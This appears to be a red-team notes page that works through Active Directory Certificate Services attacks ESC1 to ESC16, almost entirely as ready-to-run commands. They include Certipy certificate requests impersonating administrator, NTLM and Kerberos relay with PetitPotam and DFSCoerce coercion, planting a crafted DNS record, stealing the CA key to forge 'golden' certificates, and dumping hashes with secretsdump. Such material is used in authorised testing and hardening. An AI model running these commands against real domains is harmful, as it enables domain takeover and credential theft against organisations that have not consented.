> ## Documentation Index
> Fetch the complete documentation index at: https://notes.chaelsoo.me/llms.txt
> Use this file to discover all available pages before exploring further.

# AD Certificate Services (ADCS)

## Enumeration

Start with Certipy's vulnerable scan to quickly identify exploitable templates: it checks all known ESC conditions in one pass.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Find vulnerable templates
certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP -vulnerable -stdout

# Full enumeration to JSON (also outputs CA hostnames needed for $CA_HOST)
certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP
```

## ESC1: Enrollee Supplies Subject

**Conditions:**

* Low-priv user can enrol
* No Manager Approval
* No Authorised Signatures
* Client Authentication EKU enabled
* Template allows user to specify SAN (subjectAltName)

The SAN field isn't validated, so you can request a cert claiming to be any domain user including Administrator.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Request cert as any user
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -template $TEMPLATE \
  -upn administrator@$DOMAIN

# Authenticate with cert → get NT hash
certipy auth -pfx administrator.pfx -dc-ip $DC_IP
```

## ESC2: Any Purpose EKU

**Conditions:**

* Low-priv user can enrol
* No Manager Approval
* No Authorised Signatures
* Template has `Any Purpose` EKU or no EKU at all

With Any Purpose EKU the cert can be used for client auth, making it usable to request further certificates on behalf of other users.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Request cert
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -template $TEMPLATE

# Use cert to request another cert on behalf of another user
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -template User \
  -on-behalf-of $DOMAIN\\administrator \
  -pfx $USER.pfx
```

## ESC3: Enrolment Agent

**Conditions:**

* Template has `Certificate Request Agent` EKU
* Another template allows enrolment agent to enrol on behalf of others

Two-step: get an enrolment agent cert first, then use it to request a cert impersonating an admin on a second template.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Step 1: Get enrolment agent cert
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -template $TEMPLATE

# Step 2: Request cert on behalf of admin using agent cert
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -template $TEMPLATE \
  -on-behalf-of $DOMAIN\\administrator \
  -pfx agent.pfx

# Authenticate
certipy auth -pfx administrator.pfx -dc-ip $DC_IP
```

## ESC4: Writable Template

**Conditions:**

* You have write rights on a certificate template: Owner, Write Owner, Write DACL, or Write Property

Overwrite the template's attributes to introduce ESC1 conditions, exploit it, then restore the original config.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Overwrite template to default vulnerable configuration (saves backup JSON automatically)
certipy template -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -template $TEMPLATE \
  -write-default-configuration

# Exploit as ESC1
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -template $TEMPLATE \
  -upn administrator@$DOMAIN

certipy auth -pfx administrator.pfx -dc-ip $DC_IP

# Restore original template from the backup JSON
certipy template -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -template $TEMPLATE \
  -write-configuration $TEMPLATE.json
```

## ESC5: Vulnerable PKI Object Access Control

**Conditions:**

* Write permissions on PKI AD objects under `CN=Public Key Services,CN=Services,CN=Configuration,...`
* Objects in scope: NTAuthCertificates, Enrollment Services objects, CA objects, certificate templates container, AIA/CDP containers

ESC5 is a catch-all for dangerous ACLs on PKI infrastructure rather than on individual templates. Exploitation depends on which object you have write on: write on the CA Enrollment Services object chains to ESC7 (grant yourself ManageCA/ManageCertificates), write on NTAuthCertificates lets you add a rogue CA cert and forge trusted certificates, write on the templates container lets you create new ESC1-vulnerable templates.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Certipy detects ESC5 during its vulnerable scan
certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP -vulnerable -stdout
# Look for "Object Control Permissions" on CA/PKI objects

# If you have write on the CA Enrollment Services object: add yourself as officer
certipy ca -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP -target $CA_HOST -ca $CA \
  -add-officer $USER
# Then chain to ESC6 (enable EDITF) or ESC7 (issue/approve requests)
```

## ESC6: EDITF\_ATTRIBUTESUBJECTALTNAME2

**Conditions:**

* CA has `EDITF_ATTRIBUTESUBJECTALTNAME2` flag set
* Any template with Client Authentication EKU is exploitable

This flag on the CA makes every Client Authentication template behave like ESC1: request any template with client auth EKU and supply an arbitrary SAN. On DCs with KB5014754 applied, the UPN in the SAN is ignored unless the certificate also lacks the SID security extension. On patched environments combine with ESC9 (template disables extension) or ESC16 (CA disables extension).

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Works like ESC1 on unpatched DCs, or when combined with ESC9/ESC16
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -template User \
  -upn administrator@$DOMAIN
```

## ESC7: Vulnerable CA ACL

**Conditions:**

* You have `ManageCA` or `ManageCertificates` rights on the CA

With ManageCA you can enable the SubCA template and grant yourself the Certificate Officer role. Certificate Officer lets you issue any pending or failed request, including ones that require manager approval.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Step 1: Enable the SubCA template on the CA
certipy ca -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -enable-template SubCA

# Step 2: Add yourself as Certificate Officer (ManageCertificates)
certipy ca -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -add-officer $USER

# Step 3: Request a cert using SubCA template (will be denied, note the request ID)
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -template SubCA \
  -upn administrator@$DOMAIN

# Step 4: Issue the pending/denied request
certipy ca -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -issue-request $REQUEST_ID

# Step 5: Retrieve the issued certificate
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -retrieve $REQUEST_ID

certipy auth -pfx administrator.pfx -dc-ip $DC_IP
```

## ESC8: Relay to AD CS HTTP

AD CS HTTP enrolment (`/certsrv/certfnsh.asp`) can be abused via both NTLM and Kerberos relay. The coercion and cert auth steps are the same for both; what differs is the relay tool and the prerequisite.

### NTLM Relay

**Conditions:**

* AD CS HTTP enrolment endpoint enabled
* SMB signing disabled on the coerced host

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Start certipy relay
certipy relay -target http://$CA_HOST -template DomainController

# Coerce DC authentication (any primitive works)
nxc smb $DC_IP -M coerce_plus -o LISTENER=$LHOST
python3 PetitPotam.py -u $USER -p $PASSWORD -d $DOMAIN $LHOST $DC_IP

# Authenticate with the obtained cert
certipy auth -pfx domain-controller.pfx -dc-ip $DC_IP
secretsdump.py -just-dc-user administrator -hashes :$NT_HASH $DOMAIN/$DC_NAME\$@$DC_IP
```

Alternatively with `ntlmrelayx.py`:

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
ntlmrelayx.py -t http://$CA_HOST/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController
```

### Kerberos Relay (krbrelayx)

**Conditions:**

* AD CS HTTP enrolment endpoint enabled
* EPA (Extended Protection for Authentication) not enforced on certsrv (default on most installs)
* SMB signing state does not matter

Kerberos relay works when SMB signing is enforced and NTLM relay is blocked. The trick is a crafted DNS hostname that embeds a minimal marshalled `CREDENTIAL_TARGET_INFORMATION` structure. When the DC tries to connect to that hostname, Windows internally calls `CredMarshalTargetInfo` which appends a Base64-encoded struct to the SPN, producing a hostname like `DC-NETBIOS1UWhRCAA...`. DNS resolves that to your listener, so the DC sends its AP-REQ to you instead.

<Steps>
  <Step title="Start krbrelayx">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    sudo krbrelayx.py \
      --target http://$CA_HOST/certsrv/certfnsh.asp \
      --adcs --template DomainController \
      --interface-ip $LHOST
    ```
  </Step>

  <Step title="Add a malicious DNS record">
    The hostname is the DC's NetBIOS name with the fixed marshalled CREDENTIAL\_TARGET\_INFO suffix appended. bloodyAD registers it in AD DNS pointing at your listener.

    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    bloodyAD -d $DOMAIN -u $USER -p $PASSWORD \
      --host $DC_HOST --dc-ip $DC_IP \
      add dnsRecord '${DC_NETBIOS}1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' $LHOST
    ```
  </Step>

  <Step title="Coerce DC authentication">
    Trigger the DC to authenticate to the malicious hostname. Any coercion tool works. `ERROR_BAD_NETPATH` is the expected response and means the coercion fired successfully.

    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    # DFSCoerce (via MS-DFSNM NetrDfsRemoveStdRoot)
    KRB5CCNAME=/tmp/krb5cc_1000 python3 dfscoerce.py -k -no-pass \
      '${DC_NETBIOS}1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' $DC_HOST

    # Or: PetitPotam, PrinterBug, Coercer — same outcome
    ```
  </Step>

  <Step title="Authenticate with the obtained cert">
    krbrelayx catches the AP-REQ, relays it to certsrv, and writes the PFX to disk.

    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    certipy auth -pfx unknown.pfx -dc-ip $DC_IP

    # Clean up the DNS record after
    bloodyAD -d $DOMAIN -u $USER -p $PASSWORD \
      --host $DC_HOST --dc-ip $DC_IP \
      remove dnsRecord '${DC_NETBIOS}1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' $LHOST
    ```
  </Step>
</Steps>

From Windows, [KrbRelay](https://github.com/cube0x0/KrbRelay) handles coercion internally via DCOM — no separate DNS or coercion step needed:

```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
KrbRelay.exe -spn http/$CA_HOST -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 `
  -adcs -template DomainController
```

## ESC9: No Security Extension

**Conditions:**

* Template has `CT_FLAG_NO_SECURITY_EXTENSION` flag
* You have GenericWrite on an account

Without the security extension the cert isn't bound to a specific account SID, so temporarily changing a victim's UPN to match the admin gets you a valid admin cert.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Change UPN of account to admin
certipy account update -u $USER@$DOMAIN -p $PASSWORD \
  -user $TARGET -upn administrator

# Request cert as target
certipy req -u $TARGET@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -template $TEMPLATE

# Restore UPN
certipy account update -u $USER@$DOMAIN -p $PASSWORD \
  -user $TARGET -upn $TARGET@$DOMAIN

# Authenticate
certipy auth -pfx administrator.pfx -dc-ip $DC_IP -domain $DOMAIN
```

## ESC10: Weak Certificate Mappings

**Conditions:**

* Registry key `StrongCertificateBindingEnforcement` = 0 or 1 (not 2)
* OR `CertificateMappingMethods` has UPN bit set

Similar to ESC9: weak mapping means the DC resolves cert to account by UPN rather than by SID, so a UPN swap is all you need.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Change UPN then request cert
certipy account update -u $USER@$DOMAIN -p $PASSWORD \
  -user $TARGET -upn administrator@$DOMAIN

certipy req -u $TARGET@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -template User

certipy auth -pfx administrator.pfx -dc-ip $DC_IP -ldap-shell
```

## ESC11: IF\_ENFORCEENCRYPTICERTREQUEST

**Conditions:**

* CA has `IF_ENFORCEENCRYPTICERTREQUEST` not set
* Allows NTLM relay over RPC (not just HTTP)

Like ESC8 but over the RPC interface instead of HTTP: useful when certsrv isn't exposed.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
ntlmrelayx.py -t rpc://$CA_HOST -rpc-mode ICPR \
  -icpr-ca-name "$CA" --adcs --template DomainController

# Coerce auth then authenticate with cert
certipy auth -pfx dc.pfx -dc-ip $DC_IP
```

## ESC12: CA Key Compromise (Golden Certificate)

**Conditions:**

* Admin or SYSTEM access on the CA server

With the CA private key you can forge valid certificates for any principal in the domain. Forged certs bypass template restrictions and enrolment logs entirely.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Back up the CA private key and certificate (requires admin on CA server)
certipy ca -u $USER@$DOMAIN -p $PASSWORD \
  -target $CA_HOST -ca $CA \
  -backup

# Forge a certificate for any user
certipy forge -ca-pfx $CA.pfx \
  -upn administrator@$DOMAIN \
  -sid S-1-5-21-...-500

# Authenticate with the forged cert
certipy auth -pfx administrator_forged.pfx -dc-ip $DC_IP
```

## ESC13: OID Group Link

**Conditions:**

* Principal has enrolment rights on the template
* Template has an issuance policy in `msPKI-Certificate-Policy`
* That issuance policy has `msDS-OIDToGroupLink` pointing to a privileged universal group
* The linked group is empty and has universal scope
* Template has a client authentication EKU

When the DC processes Kerberos authentication it sees the issuance policy OID in the cert and injects the linked group's SID into the PAC. You gain effective group membership at authentication time without being listed as a member in AD.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Request certificate from the vulnerable template
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP -target $CA_HOST \
  -ca $CA -template $TEMPLATE

# Authenticate: the returned TGT carries the linked group's SID in the PAC
certipy auth -pfx $USER.pfx -dc-ip $DC_IP
```

## ESC14: Explicit Certificate Mapping

**Conditions (ESC14A):**

* Write access on a target account's `altSecurityIdentities` attribute

`altSecurityIdentities` is the explicit certificate-to-account binding attribute. You map a certificate you control to a target account, then authenticate as that account using your cert. The serial number must be hex-reversed in the mapping format.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Step 1: Create a machine account and request a machine cert
addcomputer.py -method ldaps -computer-name 'attacker$' \
  -computer-pass $COMP_PASS -dc-ip $DC_IP $DOMAIN/$USER:$PASSWORD

certipy req -u 'attacker$'@$DOMAIN -p $COMP_PASS \
  -dc-ip $DC_IP -target $CA_HOST \
  -ca $CA -template Machine

# Step 2: Extract issuer DN and serial number
certipy cert -pfx attacker.pfx -nokey -out attacker.crt
openssl x509 -in attacker.crt -noout -text

# Step 3: Write the mapping to the target (requires write on altSecurityIdentities)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  set object $TARGET altSecurityIdentities \
  -v "X509:<I>DC=local,DC=$DOMAIN,CN=$CA<SR>$SERIAL_HEX_REVERSED"

# Step 4: Authenticate as the target using the attacker cert
gettgtpkinit.py -cert-pfx attacker.pfx \
  -dc-ip $DC_IP $DOMAIN/$TARGET $TARGET.ccache
export KRB5CCNAME=$TARGET.ccache
secretsdump.py -k -no-pass $DOMAIN/$TARGET@$DC_HOST
```

## ESC15: Arbitrary Application Policy Injection

**Conditions:**

* Template has schema version 1
* Principal has enrolment rights
* No manager approval required

(CVE-2024-49019) Version 1 templates do not validate the Application Policy extension in the CSR. Since Application Policy takes precedence over EKU when both are present, injecting the Certificate Request Agent OID (`1.3.6.1.4.1.311.20.2.1`) into any enrollable v1 template turns it into an enrolment agent cert, enabling the ESC3 step-2 chain.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Step 1: Request cert with Certificate Request Agent application policy injected
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP -target $CA_HOST \
  -ca $CA -template $TEMPLATE \
  --application-policies "1.3.6.1.4.1.311.20.2.1"

# Step 2: Use the agent cert to request on behalf of admin (ESC3 step 2)
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP -target $CA_HOST \
  -ca $CA -template User \
  -on-behalf-of $DOMAIN\\administrator \
  -pfx $USER.pfx

# Step 3: Authenticate
certipy auth -pfx administrator.pfx -dc-ip $DC_IP
```

## ESC16: CA-Wide SID Extension Removal

**Conditions:**

* CA has `szOID_NTDS_CA_SECURITY_EXT` (OID `1.3.6.1.4.1.311.25.2`) in its `DisableExtensionList`
* `StrongCertificateBindingEnforcement` is not 2 on DCs, or KB5014754 not applied

ESC16 is ESC9 at the CA level: every certificate issued by this CA lacks the SID security extension regardless of template configuration, making every enrollable template with client auth exploitable via UPN swap.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP -vulnerable -stdout
# Flags "ESC16" on the CA entry

# Exploit: same path as ESC9
# Step 1: Change target's UPN to the account you want to impersonate
certipy account update -u $USER@$DOMAIN -p $PASSWORD \
  -user $TARGET -upn administrator@$DOMAIN

# Step 2: Request a cert as the target
certipy req -u $TARGET@$DOMAIN -p $TARGET_PASSWORD \
  -dc-ip $DC_IP -target $CA_HOST \
  -ca $CA -template $TEMPLATE

# Step 3: Restore the original UPN
certipy account update -u $USER@$DOMAIN -p $PASSWORD \
  -user $TARGET -upn $TARGET@$DOMAIN

# Step 4: Authenticate as administrator
certipy auth -pfx administrator.pfx -dc-ip $DC_IP -domain $DOMAIN
```

## Post-Exploitation with Certificates

Once you have a PFX, use PKINIT to get the NT hash or a TGT: or fall back to Schannel LDAP shell if PKINIT is unavailable (e.g. no smart card logon EKU).

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Get NT hash from cert (PKINIT)
certipy auth -pfx $USER.pfx -dc-ip $DC_IP

# Get TGT from cert
certipy auth -pfx $USER.pfx -dc-ip $DC_IP -no-hash

# LDAP shell (useful when PKINIT not available: Schannel)
certipy auth -pfx $USER.pfx -dc-ip $DC_IP -ldap-shell
```
